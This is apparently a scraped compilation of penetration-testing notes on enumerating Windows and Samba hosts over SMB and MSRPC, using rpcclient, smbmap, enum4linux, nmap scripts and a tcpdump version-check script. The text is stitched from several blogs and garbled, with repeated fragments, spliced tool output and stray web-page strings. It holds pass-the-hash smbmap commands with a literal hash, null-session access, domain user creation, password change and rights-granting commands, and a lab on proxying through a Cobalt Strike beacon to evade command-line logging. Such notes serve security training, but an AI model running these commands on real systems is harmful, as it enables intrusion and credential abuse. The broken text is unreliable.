rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2004 Get help on commands rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-502 ** (extracted from, 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP), and entire directories and other network resources such as printers, routers, or interfaces released for the network. The rpcclient was designed to perform debugging and troubleshooting tasks on a Windows Samba configuration. Enter WORKGROUP\root's password: The next command to demonstrate is lookupsids. It can be used on the rpcclient shell that was generated to enumerate information about the server. May need to run a second time for success. great when smbclient doesnt work, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -x whoami # no work, smbmap -R $sharename -H $ip -A $fileyouwanttodownload -q, # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. RPC is built on Microsofts COM and DCOM technologies. 2. Once we have a SID we can enumerate the rest. Reverse Shell. But it is also possible to get the password properties of individual users using the getusrdompwinfo command with the users RID. The enum4linux utility within Kali Linux is particularly useful; with it, you can obtain the following: If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very interesting this page about. deldriverex Delete a printer driver with files schannelsign Force RPC pipe connections to be signed (not sealed) with 'schannel' (NETSEC). One of the first enumeration commands to be demonstrated here is the srvinfo command. Learn offensive CTF training from certcube labs online . proxychains nmap -sTV -n -PN -p 80,22 target-ip -vv. SYSVOL READ ONLY, Enter WORKGROUP\root's password: platform_id : 500 dfsadd Add a DFS share List of SMB versions and corresponding Windows versions: SMB1 Windows 2000, XP and Windows 2003. The group information helps the attacker to plan their way to the Administrator or elevated access. While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. One of the first enumeration commands to be demonstrated here is the srvinfo command. Metasploit SMB auxiliary scanners. This information includes the Group Name, Description, Attributes, and the number of members in that group. *[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &, echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null. ? getprintprocdir Get print processor directory The deletedomuser command is used to perform this action. This is an approach I came up with while researching on offensive security. -l, --log-basename=LOGFILEBASE Basename for log/debug files Allow connecting to the service without using a password? debuglevel Set debug level Most of the Corporate offices dont want their employees to use USB sticks or other mediums to share files and data among themselves. Learning about various kinds of compromises that can be performed using Mimikatz we know that the SID of a user is the security Identifier that can be used for a lot of elevating privileges and minting tickets attacks. We have enumerated the users and groups on the domain but not enumerated the domain itself. abortshutdown Abort Shutdown Similarly to enumerate the Primary Domain Information such as the Role of the machine, Native more of the Domain can be done using the dsroledominfo command as demonstrated. The child-parent relationship here can also be depicted as client and server relation. My #1 SMB tip: if the exploit you're using fails despite the target appearing vulnerable, reset the machine and try again. IPC$ IPC Remote IPC When provided with the username to the samlookupnames command, it can extract the RID of that particular user. guest S-1-5-21-1835020781-2383529660-3657267081-1063 (Local Group: 4) Use `proxychains + command" to use the socks proxy. Beyond the enumeration I show here, it will also help enumerate shares that are readable, and can ever execute commands on writable shares. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. | Current user access: READ/WRITE -A, --authentication-file=FILE Get the credentials from a file --------------- ---------------------- logonctrl Logon Control sourcedata Source data Heres an example Unix Samba 2.2.3a: Windows SMB is more complex than just a version, but looking in wireshark will give a bunch of information about the connection. SPOOLSS Host is up (0.037s latency). Many system administrators have now written scripts around it to manage Windows NT clients from their UNIX workstation. Password Checking if you found with other enum . The below shows a couple of things. We will shine the light on the process or methodology for enumerating SMB services on the Target System/Server in this article. S-1-5-21-1835020781-2383529660-3657267081-1000 LEWISFAMILY\root (1) deldriver Delete a printer driver To extract further information about that user or in case during the other enumeration the attacker comes into the touch of the SID of a user, then they cause to use the lookupsids command to get more information about that particular user. All this can be observed in the usage of the lsaenumprivaccount command. [+] IP: [ip]:445 Name: [ip] The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. I found one guy running OS X 10.4 with Samba running and one guy running Ubuntu with Samba running, oh and also one guy running XP SP0/1 vulnerable to DCOM (wont even go down that road). password: rpcclient $> srvinfo 445/tcp open microsoft-ds queryuser Query user info is SMB over Ip. | Comment: Remote IPC path: C:\tmp However, for this particular demonstration, we are using rpcclient. Nice! | VULNERABLE: Once we are connected using a null session we get another set of options: This command helps the attacker enumerate the security objects or permissions and privileges related to the security as demonstrated below. [+] IP: [ip]:445 Name: [ip] For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. In our previous attempt to enumerate SID, we used the lsaenumsid command. Many groups are created for a specific service. Code Execution. result was NT_STATUS_NONE_MAPPED Hashes work. In the case of queryusergroups, the group will be enumerated. [+] User SMB session establishd on [ip] rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1015 139/tcp open netbios-ssn What script needs to be executed on the user's login? In the demonstration, it can be observed that a query was generated for LSA which returned with information such as Domain Name and SID. result was NT_STATUS_NONE_MAPPED 631 - Internet Printing Protocol (IPP) 873 - Pentesting Rsync. samdeltas Query Sam Deltas smbmap -u '' -p '' -H $ip # similar to crackmapexec --shares, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -r # list top level dir, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -R # list everything recursively, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -s wwwroot -R -A '. # Search the file in recursive mode and download it inside /usr/share/smbmap, #Download everything to current directory, mask: specifies the mask which is used to filter the files within the directory (e.g. "" The next command that can help with the enumeration is lsaquery. --usage Display brief usage message, Common samba options: Where the output of the magic script needs to be stored? password: This command can help with the enumeration of the LSA Policy for that particular domain. | grep -oP 'UnixSamba. enumtrust Enumerate trusted domains This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). It can be used on the rpcclient shell that was generated to enumerate information about the server. D 0 Thu Sep 27 16:26:00 2018 ADMIN$ Disk Remote Admin Beyond the enumeration I show here, it will also help enumerate shares that are readable, and can ever execute commands on writable shares. rpcclient $> queryuser msfadmin. This group constitutes 7 attributes and 2 users are a member of this group. When using querygroupmem, it will reveal information about that group member specific to that particular RID. S-1-5-21-1835020781-2383529660-3657267081-1003 LEWISFAMILY\daemon (2) wwwroot Disk Can try without a password (or sending a blank password) and still potentially connect. The connection uses. querydominfo Query domain info These commands should only be used for educational purposes or authorised testing. In this article, we were able to enumerate a wide range of information through the SMB and RPC channel inside a domain using the rpcclient tool. Adding it to the original post. netshareenum Enumerate shares MAC Address: 00:50:56:XX:XX:XX (VMware) It contains contents from other blogs for my quick reference [INFO] Reduced number of tasks to 1 (smb does not like parallel connections) 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP. May need to run a second time for success. See the below example gif. {% endcode-tabs %}. S-1-5-21-1835020781-2383529660-3657267081-500 LEWISFAMILY\Administrator (1) Enum4linux. Common share names for windows targets are, You can try to connect to them by using the following command, # null session to connect to a windows share, # authenticated session to connect to a windows share (you will be prompted for a password), "[+] creating a null session is possible for, # no output if command goes through, thus assuming that a session was created, # echo error message (e.g. result was NT_STATUS_NONE_MAPPED Author: Pavandeep Singhis a Technical Writer, Researcher, and Penetration Tester. INet~Services <1c> - M If you get credentials, you can re-run to show new access: nmap --script smb-enum-shares -p 139,445 [ip]. | IDs: CVE:CVE-2017-0143 S-1-5-21-1835020781-2383529660-3657267081-1015 LEWISFAMILY\bin (2) | Comment: Remote Admin I create my own checklist for the first but very important step: Enumeration. When it was passed as a parameter in the command lookupsids, the attacker was able to know that this belongs to the group Everyone. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. REG To extract information about the domain, the attacker can provide the domain name as a parameter to the command lookupdomain as demonstrated. [Update 2018-12-02] I just learned about smbmap, which is just great. -I, --dest-ip=IP Specify destination IP address, Help options This will use, as you point out, port 445. #rpcclient $>srvinfo #rpcclient $>enumdomusers #rpcclient $>querydominfo #rpcclient $>getdompwinfo //password policy #rpcclient $>netshareenum #nmblookup -A 192.168.1.1 MSRPC was originally derived from open source software but has been developed further and copyrighted by . method. SMB allows you to share your resources to other computers over the network, version susceptible to known attacks (Eternal blue , wanna cry), Disabled by default in newer Windows version, reduced "chattiness" of SMB1. lsaquerysecobj Query LSA security object This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). result was NT_STATUS_NONE_MAPPED Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out. NETLOGON READ ONLY lookupdomain Lookup Domain Name S-1-5-21-1835020781-2383529660-3657267081-1001 LEWISFAMILY\wheel (2) If Im missing something, leave a comment. getdispname Get the privilege name -s, --configfile=CONFIGFILE Use alternative configuration file shutdownabort Abort Shutdown (over shutdown pipe) The following lists commands that you can issue to SAMR, LSARPC, and LSARPC-DS interfaces upon, # You can also use samrdump.py for this purpose, Enumerate trusted domains within an AD forest. This will attempt to connect to the share. On most Linuxes, we have tab auto-complete of commands, which extends into rpcclient commands. It is also possible to add and remove privileges to a specific user as well. | Disclosure date: 2017-03-14 | Type: STYPE_IPC_HIDDEN Assumes valid machine account to this domain controller. As with the lsaenumsid, it was possible to extract the SID but it was not possible to tell which user has that SID. result was NT_STATUS_NONE_MAPPED During that time, the designers of the rpcclient might be clueless about the importance of this tool as a penetration testing tool. The SID was retrieved using the lookupnames command. enumdata Enumerate printer data Hydra (http://www.thc.org) starting at 2007-07-27 21:51:46 After creating the users and changing their passwords, its time to manipulate the groups. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi, if [ ! -d, --debuglevel=DEBUGLEVEL Set debug level S-1-5-21-1835020781-2383529660-3657267081-2002 LEWISFAMILY\user (1) When provided the username, it extracts information such as the username, Full name, Home Drive, Profile Path, Description, Logon Time, Logoff Time, Password set time, Password Change Frequency, RID, Groups, etc. great when smbclient doesnt work result was NT_STATUS_NONE_MAPPED There was a Forced Logging off on the Server and other important information. When dealing with SMB an attacker is bound to be dealt with the Network Shares on the Domain. In the demonstration, it can be observed that the current user has been allocated 35 privileges. lsaenumacctrights Enumerate the rights of an SID In the demonstration, it can be observed that the user has stored their credentials in the Description. | Comment: | Anonymous access: --------------- ---------------------- [hostname] <20> - M root S-1-5-21-1835020781-2383529660-3657267081-1000 (User: 1) Moving on, same way, they can query info about specific AD users: Enumerate current user's privileges and many more (consult rpcclient for all available commands): Finally, of course they can run nmap if needed: Impacket provides even more tools to enumerate remote systems through compromised boxes. C$ Disk Default share --------------- ---------------------- S-1-5-21-1835020781-2383529660-3657267081-501 LEWISFAMILY\unknown (1) So, it is also a good way to enumerate what kind of services might be running on the server, this can be done using enumdomgroup. | -z $2 ]; then rport=$2; else rport=139; fi, tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' |_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ Enum4linux is a Linux alternative to enum.exe and is used to enumerate data from Windows and Samba hosts. Using lookupnames we can get the SID. Red Team Infrastructure. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. This can be obtained by running the lsaenumsid command. NETLOGON rpcclient -U "" 192.168.1.100 rpcclient $> querydominfo . Since we performed enumeration on different users, it is only fair to extend this to various groups as well. This will help in getting the information such as the kind of password policies that have been enforced by the Administrator in the domain. Since we already performed the enumeration of such data before in the article, we will enumerate using enumdomgroup and enumdomusers and the query-oriented commands in this demonstration. netname: IPC$ S-1-5-21-1835020781-2383529660-3657267081-1013 LEWISFAMILY\mail (2) In the scenarios where there is a possibility of multiple domains in the network, there the attacker can use enumdomains to enumerate all the domains that might be deployed in that network. rpcclient is a part of the Samba suite on Linux distributions. Once proxychains are configured, the attacker can start enumerating the AD environment through the beacon like so: Moving on, same way, they can query info about specific AD users: Enumerate current user's privileges and many more (consult rpcclient for all available commands): Finally, of course they can run nmap if needed: Impacket provides even more tools to enumerate remote systems through compromised boxes. [Original] As Ive been working through PWK/OSCP for the last month, one thing Ive noticed is that enumeration of SMB is tricky, and different tools fail / succeed on different hosts. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-501 On other systems, youll find services and applications using port 139. dfsremove Remove a DFS share setform Set form rpcclient -U '%' -N <IP> Web-Enum . S-1-5-21-1835020781-2383529660-3657267081-1011 LEWISFAMILY\operator (2) createdomuser Create domain user You signed in with another tab or window. great when smbclient doesnt work, Rpcclient is a Linux tool used for executing client-side MS-RPC functions. To look for possible exploits to the SMB version it important to know which version is being used. It is possible to perform enumeration regarding the privileges for a group or a user based on their SID as well. Are you sure you want to create this branch? | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) [+] User SMB session establishd on [ip] It is possible to target the group using the RID that was extracted while running the enumdomgroup. | Type: STYPE_DISKTREE It has a total of 67 users. getprinter Get printer info Another command to use is the enumdomusers. *[[:digit:]]' port 139 in one terminal and then echo exit | smbclient -L [IP] in another will dump out a bunch of info including the version. From the enumdomusers command, it was possible to obtain the users of the domain as well as the RID. Try "help" to get a list of possible commands. -W, --workgroup=WORKGROUP Set the workgroup name PORT STATE SERVICE LSARPC rpcclient $> lookupnames root |_ Current user access: READ netname: PSC 2170 Series -i, --scope=SCOPE Use this Netbios scope, Authentication options: lsaaddacctrights Add rights to an account | IDs: CVE:CVE-2006-2370 seal Force RPC pipe connections to be sealed | Type: STYPE_DISKTREE This is an enumeration cheat sheet that I created while pursuing the OSCP. Defense Evasion. Null sessions were enabled by default on legacy systems but have been disabled from Windows XP SP2 and Windows Server 2003. WORKGROUP <1e> - M Second - attacker opens a socks4 proxy on port 7777 on his local kali machine (10.0.0.5) by issuing: This means that the attacker can now use proxychains to proxy traffic from their kali box through the beacon to the target (attacker ---> beacon ---> end target). list List available commands on Let's see how this works by firstly updating the proxychains config file: Once proxychains are configured, the attacker can start enumerating the AD environment through the beacon like so: proxychains rpcclient 10.0.0.6 -U spotless, Victim (10.0.0.2) is enumerating DC (10.0.0.6) on behalf of attacker (10.0.0.5). | Anonymous access: ECHO shutdown Remote Shutdown That narrows the version that the attacker might be looking at to Windows 10, Windows Server 2016, and Windows Server 2019. Thus it might be worth a short to try to manually connect to a share. . Depending on the user privilege it is possible to change the password using the chgpasswd command. Disclaimer: These notes are not in the context of any machines I had during the OSCP lab or exam. In this specific demonstration, there are a bunch of users that include Administrator, yashika, aarti, raj, Pavan, etc. PORT STATE SERVICE ENUMERATING USER ACCOUNTS ON LINUX AND OS X WITH RPCCLIENT, Hacking Samba on Ubuntu and Installing the Meterpreter. result was NT_STATUS_NONE_MAPPED LEWISFAMILY Wk Sv PrQ Unx NT SNT Mac OS X To do this first, the attacker needs a SID. When used with the builtin parameter, it shows all the built-in groups by their alias names as demonstrated below. Shortcut to New Folder (2).lnk A 420 Sun Dec 13 05:24:51 2015 --------------- ---------------------- rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1011 Cracking Password. Hydra v5.1 (c) 2005 by van Hauser / THC - use allowed only for legal purposes. Cheatsheet. Match. rpcclient $> help SAMR if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi, if [ ! Nmap done: 1 IP address (1 host up) scanned in 5.58 seconds, # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. S-1-5-21-1835020781-2383529660-3657267081-1002 LEWISFAMILY\daemon (1) | A critical remote code execution vulnerability exists in Microsoft SMBv1 if IPC$ share is enabled , and have anonymous access we can enumerate users through, SAMBA 3.x-4.x # vulnerable to linux/samba/is_known_pipename, SAMBA 3.5.11 # vulnerable to linux/samba/is_known_pipename, good script to use if none of scanner giving version for smb, # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple.

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